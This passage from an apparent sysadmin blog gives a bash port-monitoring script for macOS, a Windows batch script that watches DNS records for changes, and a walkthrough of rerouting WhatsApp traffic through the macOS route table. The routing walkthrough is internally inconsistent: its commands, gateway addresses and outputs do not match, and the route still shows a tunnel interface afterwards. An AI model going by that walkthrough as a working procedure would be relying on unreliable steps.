com.crowdstrike.falcon.Agent   6174     com.crowdstrike.falcon.Agent                       301        5      306    2.2%    0.0%
UPMServiceContro               4644625  UPMServiceContro                                    12      285      297    0.1%    2.1%
mds_stores                     4736869  mds_stores                                         204       71      275    1.5%    0.5%
EndPointClassifier             6901     EndPointClassifier                                  40      231      271    0.3%    1.7%

MacOs: How to see which processes are using a specific port (eg 443)

Below is a useful script when you want to see which processes are using a specific port.

#!/bin/bash

# Port Monitor Script for macOS
# Usage: ./port_monitor.sh <port_number>
# Check if port number is provided

if [ $# -eq 0 ]; then
echo "Usage: $0 <port_number>"
echo "Example: $0 8080"
exit 1
fi

PORT=$1

# Validate port number

if ! [[ $PORT =~ ^[0-9]+$ ]] || [ $PORT -lt 1 ] || [ $PORT -gt 65535 ]; then
echo "Error: Please provide a valid port number (1-65535)"
exit 1
fi

# Function to display processes using the port

show_port_usage() {
local timestamp=$(date "+%Y-%m-%d %H:%M:%S")

# Clear screen for better readability
clear

echo "=================================="
echo "Port Monitor - Port $PORT"
echo "Last updated: $timestamp"
echo "Press Ctrl+C to exit"
echo "=================================="
echo

# Check for processes using the port with lsof - both TCP and UDP
if lsof -i :$PORT &>/dev/null || netstat -an | grep -E "[:.]$PORT[[:space:]]" &>/dev/null; then
    echo "Processes using port $PORT:"
    echo
    lsof -i :$PORT -P -n | head -1
    echo "--------------------------------------------------------------------------------"
    lsof -i :$PORT -P -n | tail -n +2
    echo
    
    # Also show netstat information for additional context
    echo "Network connections on port $PORT:"
    echo
    printf "%-6s %-30s %-30s %-12s\n" "PROTO" "LOCAL ADDRESS" "FOREIGN ADDRESS" "STATE"
    echo "--------------------------------------------------------------------------------------------"
    
    # Show all connections (LISTEN, ESTABLISHED, etc.)
    # Use netstat -n to show numeric addresses
    netstat -anp tcp | grep -E "\.$PORT[[:space:]]" | while read line; do
        # Extract the relevant fields from netstat output
        proto=$(echo "$line" | awk '{print $1}')
        local_addr=$(echo "$line" | awk '{print $4}')
        foreign_addr=$(echo "$line" | awk '{print $5}')
        state=$(echo "$line" | awk '{print $6}')
        
        # Only print if we have valid data
        if [ -n "$proto" ] && [ -n "$local_addr" ]; then
            printf "%-6s %-30s %-30s %-12s\n" "$proto" "$local_addr" "$foreign_addr" "$state"
        fi
    done
    
    # Also check UDP connections
    netstat -anp udp | grep -E "\.$PORT[[:space:]]" | while read line; do
        proto=$(echo "$line" | awk '{print $1}')
        local_addr=$(echo "$line" | awk '{print $4}')
        foreign_addr=$(echo "$line" | awk '{print $5}')
        printf "%-6s %-30s %-30s %-12s\n" "$proto" "$local_addr" "$foreign_addr" "-"
    done
    
    # Also check for any established connections using lsof
    echo
    echo "Active connections with processes:"
    echo "--------------------------------------------------------------------------------------------"
    lsof -i :$PORT -P -n 2>/dev/null | grep -v LISTEN | tail -n +2 | while read line; do
        if [ -n "$line" ]; then
            echo "$line"
        fi
    done
    
else
    echo "No processes found using port $PORT"
    echo
    
    # Check if the port might be in use but not showing up in lsof
    local netstat_result=$(netstat -anv | grep -E "\.$PORT ")
    if [ -n "$netstat_result" ]; then
        echo "However, netstat shows activity on port $PORT:"
        echo "$netstat_result"
    fi
fi

echo
echo "Refreshing in 20 seconds... (Press Ctrl+C to exit)"
}

# Trap Ctrl+C to exit gracefully

trap 'echo -e "\n\nExiting port monitor..."; exit 0' INT

# Main loop - refresh every 20 seconds

while true; do
show_port_usage
sleep 20
done

Windows Server: Polling critical DNS entries for any changes or errors

If you have tier 1 services that are dependant on a few DNS records, then you may want a simple batch job to monitor these dns records for changes or deletion.

The script below contains an example list of DNS entries (replace these records for the ones you want to monitor).

@echo off
setlocal enabledelayedexpansion

REM ============================================================================
REM DNS Monitor Script for Windows Server
REM Purpose: Monitor DNS entries for changes every 15 minutes
REM Author: Andrew Baker
REM Version: 1.0
REM Date: August 13, 2018
REM ============================================================================

REM Configuration Variables
set "LOG_FILE=dns_monitor.log"
set "PREVIOUS_FILE=dns_previous.tmp"
set "CURRENT_FILE=dns_current.tmp"
set "CHECK_INTERVAL=900"

REM DNS Entries to Monitor (Comma Separated List)
REM Add or modify domains as needed
set "DNS_LIST=google.com,microsoft.com,github.com,stackoverflow.com,amazon.com,facebook.com,twitter.com,linkedin.com,youtube.com,cloudflare.com"

REM Initialize log file with header if it doesn't exist
if not exist "%LOG_FILE%" (
    echo DNS Monitor Log - Started on %DATE% %TIME% > "%LOG_FILE%"
    echo ============================================================================ >> "%LOG_FILE%"
    echo. >> "%LOG_FILE%"
)

:MAIN_LOOP
echo [%DATE% %TIME%] Starting DNS monitoring cycle...
echo [%DATE% %TIME%] INFO: Starting DNS monitoring cycle >> "%LOG_FILE%"

REM Clear current results file
if exist "%CURRENT_FILE%" del "%CURRENT_FILE%"

REM Process each DNS entry
for %%d in (%DNS_LIST%) do (
    call :CHECK_DNS "%%d"
)

REM Compare with previous results if they exist
if exist "%PREVIOUS_FILE%" (
    call :COMPARE_RESULTS
) else (
    echo [%DATE% %TIME%] INFO: First run - establishing baseline >> "%LOG_FILE%"
)

REM Copy current results to previous for next comparison
copy "%CURRENT_FILE%" "%PREVIOUS_FILE%" >nul 2>&1

echo [%DATE% %TIME%] DNS monitoring cycle completed. Next check in 15 minutes...
echo [%DATE% %TIME%] INFO: DNS monitoring cycle completed >> "%LOG_FILE%"
echo. >> "%LOG_FILE%"

REM Wait 15 minutes (900 seconds) before next check
timeout /t %CHECK_INTERVAL% /nobreak >nul

goto MAIN_LOOP

REM ============================================================================
REM Function: CHECK_DNS
REM Purpose: Resolve DNS entry and log results
REM Parameter: %1 = Domain name to check
REM ============================================================================
:CHECK_DNS
set "DOMAIN=%~1"
echo Checking DNS for: %DOMAIN%

REM Perform nslookup and capture results
nslookup "%DOMAIN%" > temp_dns.txt 2>&1

REM Check if nslookup was successful
if %ERRORLEVEL% equ 0 (
    REM Extract IP addresses from nslookup output
    for /f "tokens=2" %%i in ('findstr /c:"Address:" temp_dns.txt ^| findstr /v "#53"') do (
        set "IP_ADDRESS=%%i"
        echo %DOMAIN%,!IP_ADDRESS! >> "%CURRENT_FILE%"
        echo [%DATE% %TIME%] INFO: %DOMAIN% resolves to !IP_ADDRESS! >> "%LOG_FILE%"
    )
    
    REM Handle case where no IP addresses were found in successful lookup
    findstr /c:"Address:" temp_dns.txt | findstr /v "#53" >nul
    if !ERRORLEVEL! neq 0 (
        echo %DOMAIN%,RESOLUTION_ERROR >> "%CURRENT_FILE%"
        echo [%DATE% %TIME%] ERROR: %DOMAIN% - No IP addresses found in DNS response >> "%LOG_FILE%"
        type temp_dns.txt >> "%LOG_FILE%"
        echo. >> "%LOG_FILE%"
    )
) else (
    REM DNS resolution failed
    echo %DOMAIN%,DNS_FAILURE >> "%CURRENT_FILE%"
    echo [%DATE% %TIME%] ERROR: %DOMAIN% - DNS resolution failed >> "%LOG_FILE%"
    type temp_dns.txt >> "%LOG_FILE%"
    echo. >> "%LOG_FILE%"
)

REM Clean up temporary file
if exist temp_dns.txt del temp_dns.txt

goto :EOF

REM ============================================================================
REM Function: COMPARE_RESULTS
REM Purpose: Compare current DNS results with previous results
REM ============================================================================
:COMPARE_RESULTS
echo Comparing DNS results for changes...

REM Read previous results into memory
if exist "%PREVIOUS_FILE%" (
    for /f "tokens=1,2 delims=," %%a in (%PREVIOUS_FILE%) do (
        set "PREV_%%a=%%b"
    )
)

REM Compare current results with previous
for /f "tokens=1,2 delims=," %%a in (%CURRENT_FILE%) do (
    set "CURRENT_DOMAIN=%%a"
    set "CURRENT_IP=%%b"
    
    REM Get previous IP for this domain
    set "PREVIOUS_IP=!PREV_%%a!"
    
    if "!PREVIOUS_IP!"=="" (
        REM New domain added
        echo [%DATE% %TIME%] INFO: New domain added to monitoring: !CURRENT_DOMAIN! = !CURRENT_IP! >> "%LOG_FILE%"
    ) else if "!PREVIOUS_IP!" neq "!CURRENT_IP!" (
        REM DNS change detected
        echo [%DATE% %TIME%] WARNING: DNS change detected for !CURRENT_DOMAIN! >> "%LOG_FILE%"
        echo [%DATE% %TIME%] WARNING: Previous IP: !PREVIOUS_IP! >> "%LOG_FILE%"
        echo [%DATE% %TIME%] WARNING: Current IP:  !CURRENT_IP! >> "%LOG_FILE%"
        echo [%DATE% %TIME%] WARNING: *** INVESTIGATE DNS CHANGE *** >> "%LOG_FILE%"
        echo. >> "%LOG_FILE%"
        
        REM Also display warning on console
        echo.
        echo *** WARNING: DNS CHANGE DETECTED ***
        echo Domain: !CURRENT_DOMAIN!
        echo Previous: !PREVIOUS_IP!
        echo Current:  !CURRENT_IP!
        echo Check log file for details: %LOG_FILE%
        echo.
    )
)

REM Check for domains that disappeared from current results
for /f "tokens=1,2 delims=," %%a in (%PREVIOUS_FILE%) do (
    set "CHECK_DOMAIN=%%a"
    set "FOUND=0"
    
    for /f "tokens=1 delims=," %%c in (%CURRENT_FILE%) do (
        if "%%c"=="!CHECK_DOMAIN!" set "FOUND=1"
    )
    
    if "!FOUND!"=="0" (
        echo [%DATE% %TIME%] WARNING: Domain !CHECK_DOMAIN! no longer resolving or removed from monitoring >> "%LOG_FILE%"
    )
)

goto :EOF

REM ============================================================================
REM End of Script
REM ============================================================================

Mac OSX: Altering the OS route table to re-direct the traffic of a website to a different interface (eg re-routing whatsapp traffic to en0)

This was a hard article to figure out the title for! Put simply, your mac book has a route table and if you want to move a specific IP address or dns from one interface to another, then follow the steps below:

First find the IP address of the website that you want to re-route the traffic for:

$ nslookup web.whatsapp.com
Server:		100.64.0.1
Address:	100.64.0.1#53

Non-authoritative answer:
web.whatsapp.com	canonical name = mmx-ds.cdn.whatsapp.net.
Name:	mmx-ds.cdn.whatsapp.net
Address: 102.132.99.60

We want to re-route traffic the traffic from: 102.132.99.60 to the default interface. So first lets find out which interface this traffic is currently being routed to?

$ route -n get web.whatsapp.com
   route to: 102.132.99.60
destination: 102.132.99.60
    gateway: 100.64.0.1
  interface: utun0
      flags: <UP,GATEWAY,HOST,DONE,WASCLONED,IFSCOPE,IFREF>
 recvpipe  sendpipe  ssthresh  rtt,msec    rttvar  hopcount      mtu     expire
       0         0         0        34        21         0      1400         0

So this is currently going to a tunnelled interface called utun0 on gateway 100.64.0.1.

Ok, so I want to move if off this tunnelled interface. So lets first display the kernel routing table. The -n option forces netstat to print the IP addresses. Without this option, netstat attempts to display the host names.

$ netstat - rn | head -n 5
Active Internet connections
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
tcp4       0    126  100.64.0.1.64770       136.226.216.14.https   ESTABLISHED
tcp4       0      0  100.64.0.1.64768       whatsapp-cdn-shv.https ESTABLISHED
tcp4       0      0  100.64.0.1.64766       52.178.17.3.https      ESTABLISHED

Now we want to re-route whatsapp to the default interface. So lets get the IP address of the default interface.

$ netstat -nr | grep default
default            192.168.8.1        UGScg                 en0
default                                 fe80::%utun1                            UGcIg               utun1
default                                 fe80::%utun2                            UGcIg               utun2
default                                 fe80::%utun3                            UGcIg               utun3
default                                 fe80::%utun4                            UGcIg               utun4
default                                 fe80::%utun5                            UGcIg               utun5
default                                 fe80::%utun0                            UGcIg               utun0

We can see that our en0 interface is on IP address: 192.168.8.1. So lets re-route the traffic from Whatsapp’s ip address to this interace’s IP address:

$ sudo route add 102.132.99.60 192.168.0.1
route: writing to routing socket: File exists
add host 102.132.99.60: gateway 192.168.8.1: File exists

Now lets test if we are routing via the correct interface:

$ route -n get 102.132.99.60
   route to: 102.132.99.60
destination: 102.132.99.60
    gateway: 192.168.8.1
  interface: utun6
      flags: <UP,GATEWAY,HOST,DONE,STATIC>
 recvpipe  sendpipe  ssthresh  rtt,msec    rttvar  hopcount      mtu     expire
       0         0         0         0         0         0      1400         0

Finally delete the route and recheck the routing:

$ sudo route delete 102.132.99.60
delete host 102.132.99.60

$ route -n get 102.132.99.60
   route to: 102.132.99.60
destination: 102.132.99.60
    gateway: 100.64.0.1
  interface: utun6
      flags: <UP,GATEWAY,HOST,DONE,WASCLONED,IFSCOPE,IFREF>
 recvpipe  sendpipe  ssthresh  rtt,msec    rttvar  hopcount      mtu     expire
       0         0         0         0         0         0      1400         0